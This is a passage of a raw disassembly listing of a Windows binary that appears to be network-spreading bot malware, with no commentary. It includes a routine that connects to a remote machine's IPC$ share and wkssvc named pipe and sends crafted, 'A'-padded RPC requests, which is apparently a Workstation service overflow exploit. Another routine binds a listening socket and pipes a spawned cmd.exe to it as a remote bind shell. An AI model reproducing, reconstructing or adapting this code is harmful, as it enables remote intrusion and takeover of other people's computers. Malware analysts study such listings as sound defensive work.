		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410E23
		add	edi, 8
		cmp	edi, offset dword_441240
		jle	short loc_410DB3
		push	1F4h
		call	ds:dword_42B014	; Sleep
		push	esi
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [esp+0CCh]
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_410E23
		mov	eax, [esp+0B4h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_410E25
; ---------------------------------------------------------------------------


loc_410E23:				; CODE XREF: .text:00410DD0j
					; .text:00410E0Aj
		xor	eax, eax


loc_410E25:				; CODE XREF: .text:00410E21j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_410E28	proc near		; CODE XREF: sub_410F37+C9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		xor	edx, edx
		cmp	[esp+arg_4], edx
		jbe	short locret_410E58
		push	esi
		mov	esi, [esp+4+arg_8]


loc_410E35:				; CODE XREF: sub_410E28+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [edx+eax]
		mov	al, cl
		shr	al, 4
		and	cl, 0Fh
		add	cl, 41h
		add	al, 41h
		mov	[esi+edx*2], cl
		mov	[esi+edx*2+1], al
		inc	edx
		cmp	edx, [esp+4+arg_4]
		jb	short loc_410E35
		pop	esi

locret_410E58:				; CODE XREF: sub_410E28+6j
		retn
sub_410E28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410E59(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char)

sub_410E59	proc near		; CODE XREF: sub_410E59+CDp
					; sub_410F37+44Dp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
Size		= dword	ptr  1Ch
Src		= dword	ptr  24h
Memory		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_410E6D
		or	[ebp+arg_7], 1
		jmp	short loc_410E71
; ---------------------------------------------------------------------------


loc_410E6D:				; CODE XREF: sub_410E59+Cj
		and	[ebp+arg_7], 0FEh


loc_410E71:				; CODE XREF: sub_410E59+12j
		mov	ebx, [ebp+Memory]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_410E92
		or	[ebp+arg_7], 2
		lea	eax, [ebx+18h]
		mov	[ebp+arg_C], ax
		mov	[ebp+Size], ebx
		mov	[ebp+arg_2B], 0
		jmp	short loc_410EA4
; ---------------------------------------------------------------------------


loc_410E92:				; CODE XREF: sub_410E59+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+Size], eax
		mov	[ebp+arg_2B], 1


loc_410EA4:				; CODE XREF: sub_410E59+37j
		movzx	eax, [ebp+arg_C]
		push	eax		; Size
		mov	[ebp+var_4], eax
		call	_malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+Memory], eax
		jnz	short loc_410EBD


loc_410EB9:				; CODE XREF: sub_410E59+A4j
		xor	al, al
		jmp	short loc_410F32
; ---------------------------------------------------------------------------


loc_410EBD:				; CODE XREF: sub_410E59+5Ej
		push	6
		pop	ecx
		mov	edi, eax
		lea	esi, [ebp+arg_4]
		rep movsd
		mov	edi, [ebp+Size]
		mov	esi, [ebp+Src]
		push	edi		; Size
		add	eax, 18h
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_4]
		push	[ebp+Memory]
		push	[ebp+arg_0]
		call	ds:dword_42B084	; WriteFile
		test	eax, eax
		push	[ebp+Memory]	; Memory
		jnz	short loc_410EFF
		call	_free
		pop	ecx
		jmp	short loc_410EB9
; ---------------------------------------------------------------------------


loc_410EFF:				; CODE XREF: sub_410E59+9Cj
		call	_free
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_410F30
		push	0		; char
		push	[ebp+arg_24]	; int
		sub	ebx, edi
		push	ebx		; Memory
		add	edi, esi
		push	edi		; Src
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]	; int
		lea	esi, [ebp+arg_4]
		rep movsd
		call	sub_410E59
		add	esp, 2Ch
		jmp	short loc_410F32
; ---------------------------------------------------------------------------


loc_410F30:				; CODE XREF: sub_410E59+B0j
		mov	al, 1


loc_410F32:				; CODE XREF: sub_410E59+62j
					; sub_410E59+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F37	proc near		; CODE XREF: .text:004113CFp
					; .text:004113E5p ...

Str		= word ptr -0CC48h
Source		= byte ptr -8C48h
var_6C48	= byte ptr -6C48h
Dest		= byte ptr -4C48h
var_2C48	= word ptr -2C48h
var_10F0	= dword	ptr -10F0h
var_7F4		= byte ptr -7F4h
var_7EF		= byte ptr -7EFh
var_7B0		= byte ptr -7B0h
Dst		= byte ptr -344h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_6A		= byte ptr -6Ah
var_69		= byte ptr -69h
var_68		= dword	ptr -68h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= word ptr -50h
var_4E		= byte ptr -4Eh
var_4C		= byte ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
Memory		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 0CC48h
		call	__alloca_probe
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		inc	ebx
		lea	eax, [ebp+arg_8]
		push	ebx
		push	eax
		call	sub_41AA0A
		cmp	eax, 3
		pop	ecx
		pop	ecx
		jz	short loc_410F62
		xor	eax, eax
		jmp	loc_4113B2
; ---------------------------------------------------------------------------


loc_410F62:				; CODE XREF: sub_410F37+22j
		push	2B3h		; Size
		xor	esi, esi
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	0DACh		; Size
		lea	eax, [ebp+var_10F0]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	1B58h		; Size
		lea	eax, [ebp+var_2C48]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	0DABh		; Size
		lea	eax, [ebp+var_10F0]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		mov	edi, [ebp+arg_0]
		shl	edi, 4
		mov	eax, dword_441408[edi]
		mov	ecx, dword_441404[edi]
		push	5		; Size
		mov	[ebp+eax+var_10F0], ecx
		lea	eax, [ebp+var_7F4]
		push	offset aFb	; "fìÐ\a"
		push	eax		; Dst
		call	_memcpy
		push	3Fh		; Size
		lea	eax, [ebp+var_7EF]
		push	offset dword_4413C0 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 48h
		lea	eax, [ebp+Dst]
		push	eax
		push	159h
		push	offset dword_441260
		call	sub_410E28
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		lea	eax, [ebp+var_7B0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		add	esp, 20h
		mov	[ebp+eax+var_7B0], 0
		xor	eax, eax


loc_41103E:				; CODE XREF: sub_410F37+11Ej
		movzx	cx, byte ptr [ebp+eax+var_10F0]
		mov	[ebp+eax*2+var_2C48], cx
		inc	eax
		cmp	eax, 0DACh
		jb	short loc_41103E
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aS_1	; "\\\\%s"
		lea	eax, [ebp+Source]
		push	2000h		; Count
		push	eax		; Dest
		call	__snprintf
		push	2000h		; MaxCount
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Str]
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+arg_8]
		push	offset a__0	; "."
		push	eax		; char *
		call	__stricmp
		add	esp, 24h
		test	eax, eax
		jz	short loc_4110E8
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+Dest]
		push	2000h		; Count
		push	eax		; Dest
		call	__snprintf
		push	20h		; Size
		lea	eax, [ebp+var_90]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		mov	[ebp+var_7C], eax
		push	esi
		mov	eax, offset byte_42B633
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	dword_4441AC


loc_4110E8:				; CODE XREF: sub_410F37+165j
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
		lea	eax, [ebp+var_6C48]
		push	2000h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		push	esi
		push	esi
		push	3
		push	esi
		push	3
		push	40000000h
		lea	eax, [ebp+var_6C48]
		push	eax
		call	ds:dword_42B08C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_41112D


loc_411126:				; CODE XREF: sub_410F37+2ECj
		xor	edi, edi
		jmp	loc_4113A5
; ---------------------------------------------------------------------------


loc_41112D:				; CODE XREF: sub_410F37+1EDj
		push	48h		; Size
		lea	eax, [ebp+var_6C]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	10h
		pop	eax
		push	eax		; Size
		mov	[ebp+var_68], eax
		lea	eax, [ebp+var_4C]
		push	offset dword_433F40 ; Src
		push	eax		; Dst
		mov	[ebp+var_6C], 5
		mov	[ebp+var_6B], 0
		mov	[ebp+var_6A], 0Bh
		mov	[ebp+var_69], 3
		mov	[ebp+var_64], 48h
		mov	[ebp+var_62], si
		mov	[ebp+var_60], ebx
		mov	[ebp+var_5C], 10B8h
		mov	[ebp+var_5A], 10B8h
		mov	[ebp+var_58], esi
		mov	[ebp+var_54], ebx
		mov	[ebp+var_50], si
		mov	[ebp+var_4E], 1
		mov	[ebp+var_3C], ebx
		call	_memcpy
		push	10h		; Size
		lea	eax, [ebp+var_38]
		push	offset dword_433F2C ; Src
		push	eax		; Dst
		mov	[ebp+var_28], 2
		call	_memcpy
		add	esp, 24h
		push	esi
		lea	eax, [ebp+var_70]
		push	eax
		push	48h
		lea	eax, [ebp+var_6C]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_42B084	; WriteFile
		test	eax, eax
		jz	short loc_41121A
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_wcslen
		pop	ecx
		lea	ebx, [eax+eax+12h]
		jmp	short loc_4111CE
; ---------------------------------------------------------------------------


loc_4111CD:				; CODE XREF: sub_410F37+29Aj
		inc	ebx


loc_4111CE:				; CODE XREF: sub_410F37+294j
		test	bl, 3
		jnz	short loc_4111CD
		cmp	byte_44140C[edi], 0
		jz	short loc_4111DF
		add	ebx, 4


loc_4111DF:				; CODE XREF: sub_410F37+2A3j
		lea	eax, [ebp+var_2C48]
		push	eax		; Str
		call	_wcslen
		pop	ecx
		lea	eax, [ebx+eax*2+0Eh]
		jmp	short loc_4111F3
; ---------------------------------------------------------------------------


loc_4111F2:				; CODE XREF: sub_410F37+2BEj
		inc	eax


loc_4111F3:				; CODE XREF: sub_410F37+2B9j
		test	al, 3
		jnz	short loc_4111F2
		add	eax, 8
		cmp	byte_44140C[edi], 0
		jz	short loc_411208
		add	eax, 4
		jmp	short loc_41120A
; ---------------------------------------------------------------------------


loc_411208:				; CODE XREF: sub_410F37+2CAj
		inc	eax
		inc	eax


loc_41120A:				; CODE XREF: sub_410F37+2CFj
		push	eax		; Size
		mov	[ebp+Memory], eax
		call	_malloc
		mov	ebx, eax
		cmp	ebx, esi
		pop	ecx
		jnz	short loc_411228


loc_41121A:				; CODE XREF: sub_410F37+281j
		push	[ebp+var_8]
		call	ds:dword_42B004	; CloseHandle
		jmp	loc_411126
; ---------------------------------------------------------------------------


loc_411228:				; CODE XREF: sub_410F37+2E1j
		push	[ebp+Memory]	; Size
		push	esi		; Val
		push	ebx		; Dst
		call	_memset
		push	4		; Size
		push	offset dword_441250 ; Src
		push	ebx		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_wcslen
		inc	eax
		mov	[ebx+0Ch], eax
		mov	[ebx+4], eax
		lea	eax, [ebp+Str]
		push	eax		; Source
		lea	eax, [ebx+10h]
		push	eax		; Dest
		mov	[ebx+8], esi
		call	_wcscpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_wcslen
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+var_4], eax
		jz	short loc_411287


loc_41127F:				; CODE XREF: sub_410F37+34Bj
		inc	eax
		test	al, 3
		jnz	short loc_41127F
		mov	[ebp+var_4], eax


loc_411287:				; CODE XREF: sub_410F37+346j
		cmp	byte_44140C[edi], 0
		jz	short loc_4112A6
		push	4		; Size
		add	eax, ebx
		push	offset dword_441258 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		add	[ebp+var_4], 4


loc_4112A6:				; CODE XREF: sub_410F37+357j
		lea	eax, [ebp+var_2C48]
		push	eax		; Str
		call	_wcslen
		mov	ecx, [ebp+var_4]
		inc	eax
		mov	[ecx+ebx+8], eax
		mov	[ecx+ebx], eax
		mov	[ecx+ebx+4], esi
		add	ecx, 0Ch
		lea	eax, [ebp+var_2C48]
		mov	[ebp+var_4], ecx
		push	eax		; Source
		add	ecx, ebx
		push	ecx		; Dest
		call	_wcscpy
		lea	eax, [ebp+var_2C48]
		push	eax		; Str
		call	_wcslen
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*2+2]
		add	esp, 10h
		test	al, 3
		mov	[ebp+var_4], eax
		jz	short loc_4112FB


loc_4112F3:				; CODE XREF: sub_410F37+3BFj
		inc	eax
		test	al, 3
		jnz	short loc_4112F3
		mov	[ebp+var_4], eax


loc_4112FB:				; CODE XREF: sub_410F37+3BAj
		push	8		; Size
		add	eax, ebx
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte_44140C[edi], 0
		jz	short loc_41131D
		mov	[eax+ebx], esi
		jmp	short loc_411323
; ---------------------------------------------------------------------------


loc_41131D:				; CODE XREF: sub_410F37+3DFj
		mov	word ptr [eax+ebx], 1


loc_411323:				; CODE XREF: sub_410F37+3E4j
		push	18h		; Size
		lea	eax, [ebp+var_24]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		xor	ecx, ecx
		xor	eax, eax
		inc	eax
		cmp	byte_44140C[edi], cl
		push	eax		; char
		push	10B8h		; int
		push	[ebp+Memory]	; Memory
		setnz	cl
		push	ebx		; Src
		sub	esp, 18h
		push	6
		mov	[ebp+var_1A], si
		mov	[ebp+var_10], si
		mov	[ebp+var_24], 5
		lea	ecx, [ecx+ecx+19h]
		mov	[ebp+var_E], cx
		pop	ecx
		mov	edi, esp
		push	[ebp+var_8]	; int
		mov	[ebp+var_23], 0
		mov	[ebp+var_22], 0
		mov	[ebp+var_21], 3
		mov	[ebp+var_20], 10h
		mov	[ebp+var_18], eax
		lea	esi, [ebp+var_24]
		rep movsd
		call	sub_410E59
		add	esp, 2Ch
		xor	edi, edi
		test	al, al
		jz	short loc_411393
		inc	edi


loc_411393:				; CODE XREF: sub_410F37+459j
		push	[ebp+var_8]
		call	ds:dword_42B004	; CloseHandle
		push	ebx		; Memory
		call	_free
		pop	ecx
		xor	esi, esi


loc_4113A5:				; CODE XREF: sub_410F37+1F1j
		push	esi
		push	esi
		push	[ebp+var_7C]
		call	dword_4440D8
		mov	eax, edi


loc_4113B2:				; CODE XREF: sub_410F37+26j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F37	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		lea	esi, [esp+0C8h]
		push	1
		rep movsd
		call	sub_410F37
		pop	ecx
		push	2Fh
		pop	ecx
		mov	edi, esp
		lea	esi, [esp+0C8h]
		push	1
		rep movsd
		call	sub_410F37
		add	esp, 0C0h
		push	1F4h
		call	ds:dword_42B014	; Sleep
		push	7C7h
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [esp+0CCh]
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_41143A
		mov	eax, [esp+0B4h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_41143C
; ---------------------------------------------------------------------------


loc_41143A:				; CODE XREF: .text:00411421j
		xor	eax, eax


loc_41143C:				; CODE XREF: .text:00411438j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	edi
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		lea	esi, [esp+0C8h]
		push	0
		rep movsd
		call	sub_410F37
		pop	ecx
		push	2Fh
		pop	ecx
		mov	edi, esp
		lea	esi, [esp+0C8h]
		push	0
		rep movsd
		call	sub_410F37
		add	esp, 0C0h
		push	1F4h
		call	ds:dword_42B014	; Sleep
		push	7C7h
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [esp+0CCh]
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_4114C2
		mov	eax, [esp+0B4h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_4114C4
; ---------------------------------------------------------------------------


loc_4114C2:				; CODE XREF: .text:004114A9j
		xor	eax, eax


loc_4114C4:				; CODE XREF: .text:004114C0j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4114C7	proc near		; DATA XREF: sub_411555+158o

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_4114D0:				; CODE XREF: sub_4114C7+25j
					; sub_4114C7+41j
		push	0
		push	400h
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4D5250
		call	dword_444064	; recv
		test	eax, eax
		jle	short loc_4114D0
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4D5248
		call	ds:dword_42B084	; WriteFile
		jmp	short loc_4114D0
sub_4114C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41150A	proc near		; DATA XREF: sub_411555+13Fo

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_411513:				; CODE XREF: sub_41150A+2Fj
					; sub_41150A+49j
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	400h
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4D524C
		call	ds:dword_42B080	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_411513
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4D5250
		call	dword_4441A0	; send
		jmp	short loc_411513
sub_41150A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_411555	proc near		; DATA XREF: sub_40274D+2AF2o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
Dst		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	esi, esi
		inc	esi
		push	10h		; Size
		mov	[eax+98h], esi
		xor	edi, edi
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+var_98]
		mov	[ebp+Dst], 2
		call	dword_444260	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_444100	; socket
		mov	[ebp+arg_0], eax
		push	10h
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4441E4	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_444230	; listen
		mov	ebx, ds:dword_42B0A0
		mov	esi, ds:dword_42B004


loc_4115D5:				; CODE XREF: sub_411555+1C8j
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4440BC	; accept
		push	edi
		mov	dword_4D5250, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4D5248
		push	offset dword_4D5244
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4D5254
		push	offset dword_4D524C
		call	ebx	; CreatePipe
		push	44h		; Size
		lea	eax, [ebp+var_7C]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, dword_4D5244
		add	esp, 0Ch
		push	edi
		mov	[ebp+var_44], eax
		mov	eax, dword_4D5254
		push	1
		mov	[ebp+var_40], eax
		push	2
		lea	eax, [ebp+var_3C]
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	ds:dword_42B09C	; GetCurrentProcess
		push	eax
		push	dword_4D5254
		call	ds:dword_42B09C	; GetCurrentProcess
		push	eax
		call	ds:dword_42B098	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	ds:dword_42B008	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_41150A
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_42B03C	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_4114C7
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_42B03C	; CreateThread
		push	0FFFFFFFFh
		push	[ebp+var_28]
		mov	[ebp+var_10], eax
		call	ds:dword_42B054	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	ds:dword_42B028	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	ds:dword_42B028	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	ds:dword_42B094	; TerminateProcess
		push	dword_4D5244
		call	esi	; CloseHandle
		push	dword_4D5248
		call	esi	; CloseHandle
		push	dword_4D524C
		call	esi	; CloseHandle
		push	dword_4D5254
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_4115D5
sub_411555	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_411722	proc near		; DATA XREF: sub_40B690+352o

Str		= byte ptr -6C0h
Dest		= byte ptr -2C0h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 6C0h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_C0]
		rep movsd
		xor	esi, esi
		inc	esi
		push	10h		; Size
		mov	[eax+98h], esi
		xor	ebx, ebx
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_B4]
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+74h+var_12], ax
		mov	[ebp+74h+var_10], ebx
		call	dword_444100	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_4117D6
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_434054 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_2C], ebx
		jnz	short loc_4117BA
		push	ebx		; int
		push	[ebp+74h+var_30] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B0]
		push	eax		; Str
		push	[ebp+74h+var_C0] ; int
		call	sub_40123B
		add	esp, 14h


loc_4117BA:				; CODE XREF: sub_411722+7Cj
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_BC]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	ebx
		jmp	loc_4119F9
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_411722+5Cj
		mov	eax, [ebp+74h+var_BC]
		imul	eax, 234h
		mov	dword_4444F4[eax], edi
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		call	dword_4441E4	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_4118E7
		call	dword_4441C4	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_41185E
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_434018 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+74h+var_2C], esi
		jnz	short loc_411842
		push	esi		; int
		push	[ebp+74h+var_30] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B0]
		push	eax		; Str
		push	[ebp+74h+var_C0] ; int
		call	sub_40123B
		add	esp, 14h


loc_411842:				; CODE XREF: sub_411722+104j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_BC]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_4119F9
; ---------------------------------------------------------------------------


loc_41185E:				; CODE XREF: sub_411722+E8j
		push	0FFFEh
		push	ebx
		call	sub_41B325
		pop	ecx
		pop	ecx
		mov	dword_4D525C, eax
		mov	[ebp+74h+var_12], ax
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		call	dword_4441E4	; bind
		cmp	eax, esi
		jnz	short loc_4118E7
		call	dword_4441C4	; WSAGetLastError
		mov	esi, eax
		push	esi
		lea	eax, [ebp+74h+Dest]
		push	offset asc_434018 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+74h+var_2C], edi
		jnz	short loc_4118CB
		cmp	esi, 2740h
		jz	short loc_4118CB
		push	edi		; int
		push	[ebp+74h+var_30] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B0]
		push	eax		; Str
		push	[ebp+74h+var_C0] ; int
		call	sub_40123B
		add	esp, 14h


loc_4118CB:				; CODE XREF: sub_411722+185j
					; sub_411722+18Dj
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_BC]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	edi
		jmp	loc_4119F9
; ---------------------------------------------------------------------------


loc_4118E7:				; CODE XREF: sub_411722+D7j
					; sub_411722+161j
		push	5
		push	edi
		call	dword_444230	; listen
		cmp	eax, esi
		jz	loc_4119E7
